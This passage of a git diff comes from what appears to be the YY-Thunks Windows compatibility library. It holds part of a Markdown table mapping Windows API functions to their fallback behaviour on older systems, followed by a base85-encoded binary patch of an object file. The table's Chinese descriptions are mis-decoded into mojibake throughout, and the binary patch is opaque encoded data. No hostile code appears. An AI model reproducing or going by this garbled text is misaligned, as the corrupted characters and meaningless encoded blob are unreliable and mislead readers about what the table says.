GetQueuedCompletionStatus。 +| FindFirstFileEx(W/A) | Windows XPã€Vista兼容 FIND_FIRST_EX_LARGE_FETCHã€FindExInfoStandard傿•°ã€‚ +| GetProcessGroupAffinity | å§‹ç»ˆè®¤ä¸ºåªæœ‰ä¸€ç»„CPU。 +| QueryUnbiasedInterruptTime | 读å–KUSER_SHARED_DATA::InterruptTime值模拟UnbiasedInterruptTime。 +| FindStringOrdinal | 调用CompareStringOrdinal。 +| GetEnabledXStateFeatures | 调用IsProcessorFeaturePresent。 +| SetXStateFeaturesMask | 内部实现。 +| InitializeContext | 内部实现。 +| InitializeContext2 | 调用InitializeContext。 +| LocateXStateFeature | 内部实现。 +| CopyContext | 内部实现。 +| QueryIdleProcessorCycleTimeEx | 调用QueryIdleProcessorCycleTime。 +| QueryIdleProcessorCycleTime | éšä¾¿è¿”回一组数字代表当å‰è¿›ç¨‹ç©ºé—²æ—¶é—´ã€‚ +| SetThreadIdealProcessorEx | 调用SetThreadIdealProcessor。 +| GetThreadIdealProcessorEx | 调用SetThreadIdealProcessor。 +| GetUserPreferredUILanguages | 调用GetThreadPreferredUILanguages。 +| EnumTimeFormatsEx | 调用EnumTimeFormatsW。 +| GetCalendarInfoEx | 调用GetCalendarInfoW。 +| GetNLSVersionEx | 返回一个å‡ç‰ˆæœ¬ã€‚ +| IsNLSDefinedString | 调用GetStringTypeW。 +| FindNLSStringEx | 调用 CompareStringW。 +| SetProcessWorkingSetSizeEx | 调用SetProcessWorkingSetSize。 +| GetProcessWorkingSetSizeEx | 调用GetProcessWorkingSetSize。 +| GetTimeZoneInformationForYear | 调用GetTimeZoneInformation。 +| SetProcessDEPPolicy | 调用NtSetInformationProcess。 +| GetSystemDEPPolicy | 返回总是关闭。 +| DisableThreadLibraryCalls | 始终返回æˆåŠŸã€‚ +| CreateRemoteThreadEx | 调用CreateRemoteThread。 +| WerRegisterRuntimeExceptionModule | 返回S_OK。 +| WerUnregisterRuntimeExceptionModule | 返回S_OK。 +| Wow64GetThreadContext | 调用GetThreadContext或者返回ERROR_INVALID_PARAMETER。 +| SetDefaultDllDirectories | 手工控制LoadLibrary加载顺åºã€‚ +| SetDllDirectoryW(A) | 内部ä¿å­˜è·¯å¾„,并且控制LoadLibrary加载顺åºã€‚ +| GetDllDirectoryW(A) | 获å–内部ä¿å­˜çš„路径。 +| AddDllDirectory | 内部ä¿å­˜è·¯å¾„,并且控制LoadLibrary加载顺åºã€‚ +| RemoveDllDirectory | 内部移除路径。 +| GetCurrentPackageFullName | 返回 APPMODEL_ERROR_NO_PACKAGE。 +| GetPackageFullName | 返回 APPMODEL_ERROR_NO_PACKAGE。 +| GetPackageFamilyName | 返回 APPMODEL_ERROR_NO_PACKAGE。 +| GetPackagePathByFullName | 调用 GetPackageInfo。 +| GetPackagesByPackageFamily | 报告空集åˆï¼Œå¹¶è¿”回 ERROR_SUCCESS。 +| FindPackagesByPackageFamily | 调用 GetPackagesByPackageFamily。注æ„:Windows 8å¹³å°ä¸Šæ— æ³•æ”¯æŒ PACKAGE_FILTER_BUNDLE。 +| OpenPackageInfoByFullName | 返回 ERROR_NOT_FOUND。 +| ClosePackageInfo | 返回 ERROR_INVALID_PARAMETER。 +| GetPackageInfo | 返回 ERROR_INVALID_PARAMETER。 +| OpenProcess | é¢å¤–å¤„ç† PROCESS_QUERY_LIMITED_INFORMATIONã€PROCESS_SET_LIMITED_INFORMATION。 +| GetThreadDescription | 返回空字符串。 +| SetThreadDescription | 返回 `E_NOTIMPL`。 +| GetSystemFirmwareTable | 读å–PhysicalMemory或者注册表。注æ„:目å‰ä»…支æŒ'RSMB'ã€'ACPI'。 +| GetPhysicallyInstalledSystemMemory | 调用GetSystemFirmwareTable。 + +## mfplat.dll +| 函数 | Fallback +| ---- | ----------- +| MFCreateDeviceSource | 返回E_NOTIMPL。 +| MFEnumDeviceSources | 返回E_NOTIMPL。 +| MFCreateDXGIDeviceManager | 返回E_NOTIMPL。 +| MFCreateDXGISurfaceBuffer | 返回E_NOTIMPL。 +| MFLockDXGIDeviceManager | 返回E_NOTIMPL。 +| MFUnlockDXGIDeviceManager | 返回E_NOTIMPL。 +| MFCreateAlignedMemoryBuffer | 返回E_NOTIMPL。 +| MFCreateAsyncResult | 返回E_NOTIMPL。 +| MFCreateAttributes | 返回E_NOTIMPL。 +| MFCreateEventQueue | 返回E_NOTIMPL。 +| MFCreateMediaBufferWrapper | 返回E_NOTIMPL。 +| MFCreateMediaEvent | 返回E_NOTIMPL。 +| MFCreateMediaType | 返回E_NOTIMPL。 +| MFCreateMemoryBuffer | 返回E_NOTIMPL。 +| MFCreatePresentationDescriptor | 返回E_NOTIMPL。 +| MFCreateSample | 返回E_NOTIMPL。 +| MFCreateStreamDescriptor | 返回E_NOTIMPL。 +| MFCreateWaveFormatExFromMFMediaType | 返回E_NOTIMPL。 +| MFFrameRateToAverageTimePerFrame | 返回E_NOTIMPL。 +| MFGetSystemTime | 调用GetSystemTimeAsFileTime。 +| MFInitMediaTypeFromWaveFormatEx | 返回E_NOTIMPL。 +| MFShutdown | 返回E_NOTIMPL。 +| MFStartup | 返回E_NOTIMPL。 +| MFTEnumEx | 返回E_NOTIMPL。 +| MFCancelWorkItem | 返回E_NOTIMPL。 +| MFLockSharedWorkQueue | 返回E_NOTIMPL。 +| MFPutWorkItem | 返回E_NOTIMPL。 +| MFPutWorkItem2 | 调用MFPutWorkItem。 +| MFPutWaitingWorkItem | 返回E_NOTIMPL。 +| MFUnlockWorkQueue | 返回E_NOTIMPL。 + +## mfreadwrite.dll +| 函数 | Fallback +| ---- | ----------- +| MFCreateSourceReaderFromMediaSource | 返回E_NOTIMPL。 + +## mmdevapi.dll +| 函数 | Fallback +| ---- | ----------- +| ActivateAudioInterfaceAsync | 返回E_NOTIMPL。 + +## ndfapi.dll +| 函数 | Fallback +| ---- | ----------- +| NdfCreateWebIncident | è¿”å›žä¸€ä¸ªä¼ªå¥æŸ„å‡è£…æˆåŠŸã€‚ +| NdfCloseIncident | å‡è£…æˆåŠŸå…³é—­å¥æŸ„。 +| NdfExecuteDiagnosis | å‡è£…什么问题也没有å‘现。 + +## netapi32.dll +| 函数 | Fallback +| ---- | ----------- +| NetGetAadJoinInformation | 始终认为没有加入 Azure AD 叿ˆ· è´¦å·ã€‚ +| NetFreeAadJoinInformation | 什么也ä¸åšã€‚ + +## ntdll.dll +| 函数 | Fallback +| ---- | ----------- +| * NtCancelIoFileEx | å°è¯•对所有线程调用 NtCancelIoFileã€‚è­¦å‘Šï¼šå°†å–æ¶ˆæ­¤æ–‡ä»¶çš„æ‰€æœ‰IO请求。 +| NtOpenKeyEx | 调用 NtOpenKey 或者 NtCreateKey。 + +## ole32.dll +| 函数 | Fallback +| ---- | ----------- +| CoGetApartmentType | 调用IComThreadingInfo。 +| RoGetAgileReference | 返回E_NOINTERFACE。 + +## pdh.dll +| 函数 | Fallback +| ---- | ----------- +| PdhAddEnglishCounterW(A) | 调用PdhAddCounterW(A)。 + +## powrprof.dll +| 函数 | Fallback +| ---- | ----------- +| PowerDeterminePlatformRole | 返回PlatformRoleDesktop。 +| PowerDeterminePlatformRoleEx | 调用PowerDeterminePlatformRole。 +| PowerRegisterSuspendResumeNotification | ä½¿ç”¨çª—å£æ¨¡æ‹Ÿã€‚ +| PowerUnregisterSuspendResumeNotification | 内部实现。 +| PowerGetActiveScheme | 始终认为是平衡模å¼ã€‚ +| PowerReadACValue | è¯»å–æ³¨å†Œè¡¨ã€‚(目å‰ä»…支æŒConsoleLock) +| PowerReadDCValue | è¯»å–æ³¨å†Œè¡¨ã€‚(目å‰ä»…支æŒConsoleLock) + +## PropSys.dll +| 函数 | Fallback +| ---- | ----------- +| InitPropVariantFromCLSID | CoTaskMemAlloc分é…内存。 +| PSGetPropertyKeyFromName | 返回 TYPE_E_ELEMENTNOTFOUND(属性ä¸å­˜åœ¨ï¼‰ã€‚ +| PSCreateMemoryPropertyStore | 返回 E_NOTIMPL。 +| VariantCompare | 内部实现。 + +## psapi.dll +| 函数 | Fallback +| ---- | ----------- +| EnumProcessModulesEx | 调用EnumProcessModules。 +| GetWsChangesEx | 调用GetWsChanges。 +| *QueryWorkingSetEx | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 + +## setupapi.dll +| 函数 | Fallback +| ---- | ----------- +| SetupDiGetDevicePropertyW | 调用SetupDiGetDeviceRegistryPropertyW。 +| SetupDiSetDevicePropertyW | 调用SetupDiSetDeviceRegistryPropertyW。 +| SetupDiGetClassPropertyW | 调用SetupDiGetClassRegistryPropertyW。 +| SetupDiGetClassPropertyExW | 调用SetupDiGetClassRegistryPropertyW。 +| SetupDiSetClassPropertyW | 调用SetupDiSetClassRegistryPropertyW。 +| SetupDiSetClassPropertyExW | 调用SetupDiSetClassRegistryPropertyW。 + +## shcore.dll +| 函数 | Fallback +| ---- | ----------- +| GetDpiForMonitor | 调用GetDeviceCaps。 +| GetProcessDpiAwareness | 调用 IsProcessDPIAware。 +| SetProcessDpiAwareness | 调用SetProcessDPIAware。 +| SetProcessDPIAware | 直接返回 TRUE。 +| CreateRandomAccessStreamOnFile | 返回 E_NOTIMPL。 +| CreateRandomAccessStreamOverStream | 返回 E_NOTIMPL。 +| CreateStreamOverRandomAccessStream | 返回 E_NOTIMPL。 + +## shell32.dll +| 函数 | Fallback +| ---- | ----------- +| SHGetKnownFolderPath | 调用SHGetFolderPathW。 +| SHSetKnownFolderPath | 调用SHSetFolderPathW。 +| SHGetKnownFolderIDList | 调用SHGetFolderLocation。 +| SHBindToFolderIDListParent | 调用IShellFolder。 +| SHBindToFolderIDListParentEx | 调用IShellFolder。 +| SHBindToObject | 调用IShellFolder。 +| SHCreateItemFromIDList | 调用IShellItem。 +| SHCreateItemWithParent | 调用IShellItem。 +| SHCreateItemFromRelativeName | 调用IShellItem。 +| SHGetNameFromIDList | 调用IShellItem。 +| SHCreateShellItem | 调用IShellItem。 +| SHCreateItemFromParsingName | 调用SHParseDisplayName。 +| Shell_NotifyIconGetRect | 调用SendMessageW(å¯èƒ½ä¸é€‚用于Vista系统)。 +| SHGetStockIconInfo | 调用LoadImageW。 +| SHGetPropertyStoreForWindow | 报告错误 E_NOTIMPL。 +| SHOpenWithDialog | 报告错误 E_NOTIMPL。 + +## shlwapi.dll +| 函数 | Fallback +| ---- | ----------- +| StrToInt64ExW(A) | 手工解æžå­—符串。 + +## UIAutomationCore.dll +| 函数 | Fallback +| ---- | ----------- +| UiaClientsAreListening | å‡è£…没有人在监å¬ã€‚ +| UiaHostProviderFromHwnd | 报告错误 E_NOTIMPL。 +| UiaRaiseAutomationEvent | 报告错误 E_NOTIMPL。 +| UiaRaiseAutomationPropertyChangedEvent | 报告错误 E_NOTIMPL。 +| UiaReturnRawElementProvider | 报告错误 E_NOTIMPL。 +| UiaGetReservedMixedAttributeValue | 报告错误 E_NOTIMPL。 +| UiaGetReservedNotSupportedValue | 报告错误 E_NOTIMPL。 +| UiaRaiseStructureChangedEvent | 报告错误 E_NOTIMPL。 +| UiaRaiseNotificationEvent | å‡è£…æˆåŠŸã€‚ +| UiaLookupId | 始终返回 0。 + +## user32.dll +| 函数 | Fallback +| ---- | ----------- +| IsWow64Process | 返回TRUE,并设置 `*Wow64Process = FALSE`。 +| SetProcessDpiAwarenessContext | 调用SetProcessDpiAwareness。 +| GetDpiForSystem | 调用GetDeviceCaps。 +| GetDpiForWindow | 调用GetDpiForMonitor。温馨æç¤ºï¼šå¦‚果窗å£å®½åº¦æˆ–者高度为0æ—¶å¯èƒ½è¿”å›žä¸æ­£ç¡®çš„Dpi。 +| GetSystemMetricsForDpi | 调用GetSystemMetrics。 +| AdjustWindowRectExForDpi | 调用AdjustWindowRectEx。 +| SystemParametersInfoW(A) | SPI_GETNONCLIENTMETRICS修正。 +| SystemParametersInfoForDpi | 调用SystemParametersInfoW。 +| RegisterSuspendResumeNotification | ä½¿ç”¨çª—å£æ¨¡æ‹Ÿã€‚ +| UnregisterSuspendResumeNotification | 内部实现。 +| IsProcessDPIAware | 返回 TRUE。 +| SetProcessDPIAware | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| GetWindowDisplayAffinity | TRUEï¼Œå¹¶æŠ¥å‘Šçª—å£æ²¡æœ‰ä»»ä½•ä¿æŠ¤`WDA_NONE`。 +| SetWindowDisplayAffinity | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| RegisterTouchWindow | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| UnregisterTouchWindow | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| IsTouchWindow | 始终报告éžè§¦æ‘¸çª—å£ã€‚ +| GetTouchInputInfo | 报告错误 ERROR_INVALID_HANDLE。 +| CloseTouchInputHandle | 报告错误 ERROR_INVALID_HANDLE。 +| *ChangeWindowMessageFilterEx | 调用ChangeWindowMessageFilter。温馨æç¤ºï¼šå°†å½±å“该进程的所有窗å£ã€‚ +| ChangeWindowMessageFilter | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| UpdateLayeredWindowIndirect | 调用UpdateLayeredWindow。 +| AddClipboardFormatListener | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| RemoveClipboardFormatListener | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| RegisterPowerSettingNotification | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| UnregisterPowerSettingNotification | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| DisplayConfigGetDeviceInfo | 报告没有安装驱动。 +| GetDisplayConfigBufferSizes | 报告没有安装驱动。 +| QueryDisplayConfig | 报告没有安装驱动。 +| RegisterPointerDeviceNotifications | å‡è£…æˆåŠŸã€‚ +| GetPointerDevices | å‡è£…没有触摸设备。 +| GetPointerDevice | å‡è£…没有触摸设备。 +| GetPointerPenInfo | å‡è£…没有触摸设备。 +| GetPointerType | å‡è£…没有触摸设备。 +| InitializeTouchInjection | 报告错误 ERROR_INVALID_PARAMETER。 +| InjectTouchInput | 报告错误 ERROR_INVALID_PARAMETER。 +| GetAwarenessFromDpiAwarenessContext | 内部实现。 +| AreDpiAwarenessContextsEqual | 内部实现。 +| EnableNonClientDpiScaling | å‡è£…æˆåŠŸã€‚ +| GetPointerFrameTouchInfo | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerFrameTouchInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerInfo | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerPenInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| SkipPointerFrameMessages | å‡è£…æˆåŠŸã€‚ +| GetThreadDpiAwarenessContext | 调用 GetProcessDpiAwareness。 +| GetWindowDpiAwarenessContext | 调用 GetProcessDpiAwareness。 +| GetDisplayAutoRotationPreferences | 返回 ORIENTATION_PREFERENCE_NONE。 +| SetDisplayAutoRotationPreferences | å‡è£…æˆåŠŸã€‚ +| GetPointerInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerTouchInfo | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerTouchInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| IsMouseInPointerEnabled | 返回关闭。 +| EnableMouseInPointer | å‡è£…处于关闭状æ€ã€‚ +| GetPointerDeviceRects | 报告错误 ERROR_INVALID_PARAMETER。 +| PhysicalToLogicalPoint | å‡è£…æˆåŠŸã€‚ +| LogicalToPhysicalPoint | å‡è£…æˆåŠŸã€‚ +| PhysicalToLogicalPointForPerMonitorDPI | 调用 PhysicalToLogicalPoint。 +| LogicalToPhysicalPointForPerMonitorDPI | 调用 LogicalToPhysicalPoint。 +| GetSystemDpiForProcess | 调用GetDpiForSystemã€GetProcessDpiAwareness。 +| IsValidDpiAwarenessContext | 内部实现。 +| WindowFromPhysicalPoint | 调用WindowFromPoint。 +| SetWindowsHookExW(A) | WH_KEYBOARD_LL/WH_MOUSE_LL且dwThreadId为0时,hModå…许为NULL。 + +## userenv.dll +| 函数 | Fallback +| ---- | ----------- +| CreateAppContainerProfile | 返回E_NOTIMPL。 +| DeleteAppContainerProfile | 返回E_NOTIMPL。 +| DeriveAppContainerSidFromAppContainerName | 返回E_NOTIMPL。 +| GetAppContainerFolderPath | 返回E_NOTIMPL。 +| GetAppContainerRegistryLocation | 返回E_NOTIMPL。 + +## uxtheme.dll +| 函数 | Fallback +| ---- | ----------- +| DrawThemeTextEx | å°è¯•获å–éžå¯¼å‡ºDrawThemeTextEx。如果任然获å–失败则调用DrawThemeText。 +| GetThemeTransitionDuration | 返回E_NOTIMPL。 +| SetWindowThemeAttribute | 返回E_NOTIMPL。 + +## version.dll +| 函数 | Fallback +| ---- | ----------- +| GetFileVersionInfoExW(A) | 调用GetFileVersionInfoW(A)。 +| GetFileVersionInfoSizeExW(A) | 调用GetFileVersionInfoSizeW(A)。 + +## wevtapi.dll +| 函数 | Fallback +| ---- | ----------- +| EvtClose | 返回TRUE。 +| EvtCreateRenderContext | 报告ERROR_NOT_SUPPORTED。 +| EvtNext | 报告ERROR_NOT_SUPPORTED。 +| EvtQuery | 报告ERROR_NOT_SUPPORTED。 +| EvtRender | 报告ERROR_NOT_SUPPORTED。 + +## WinHttp.dll +| 函数 | Fallback +| ---- | ----------- +| WinHttpCreateProxyResolver | 内部实现。 +| WinHttpGetProxyForUrlEx | 异步调用WinHttpGetProxyForUrl。 +| WinHttpGetProxyResult | 内部实现。 +| WinHttpFreeProxyResult | 内部实现。 + +## WinUsb.dll +| 函数 | Fallback +| ---- | ----------- +| WinUsb_Free | 报告ERROR_INVALID_HANDLE。 +| WinUsb_GetAssociatedInterface | 报告ERROR_INVALID_HANDLE。 +| WinUsb_GetOverlappedResult | 报告ERROR_INVALID_HANDLE。 +| WinUsb_Initialize | 报告ERROR_INVALID_HANDLE。 +| WinUsb_ReadPipe | 报告ERROR_INVALID_HANDLE。 +| WinUsb_ResetPipe | 报告ERROR_INVALID_HANDLE。 +| WinUsb_SetCurrentAlternateSetting | 报告ERROR_INVALID_HANDLE。 +| WinUsb_WritePipe | 报告ERROR_INVALID_HANDLE。 + +## ws2_32.dll +| 函数 | Fallback +| ---- | ----------- +| InetPtonW(inet_pton) | 类似于sscanf手工分æžå­—符串。 +| InetNtopW(inet_ntop) | 类似于sprintf手工生æˆå­—符串。 +| WSAPoll | 调用select。 +| GetAddrInfoExCancel | 使用线程模拟。 +| GetAddrInfoExW(A) | 调用GetAddrInfoW(A)。 +| GetAddrInfoExOverlappedResult | 内部实现。 +| FreeAddrInfoEx(W) | 内部实现。 +| GetAddrInfoW | 调用getaddrinfo。 +| FreeAddrInfoW | 内部实现。 +| WSASocketW(A) | 低于6.1.7601时自动去除 `WSA_FLAG_NO_HANDLE_INHERIT`。 +| WSAIoctl | 低于6.0时,`SIO_BASE_HANDLE` 代ç è¿”回SOCKET自身。 +| GetHostNameW | 调用gethostname。 diff --git a/resources/YY-Thunks-Objs/objs/x64/YY_Thunks_for_WinXP.obj b/resources/YY-Thunks-Objs/objs/x64/YY_Thunks_for_WinXP.obj new file mode 100755 index 0000000000000000000000000000000000000000..3ebcdb1e48658855d85bea460e56144345d214de GIT binary patch literal 5347481 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 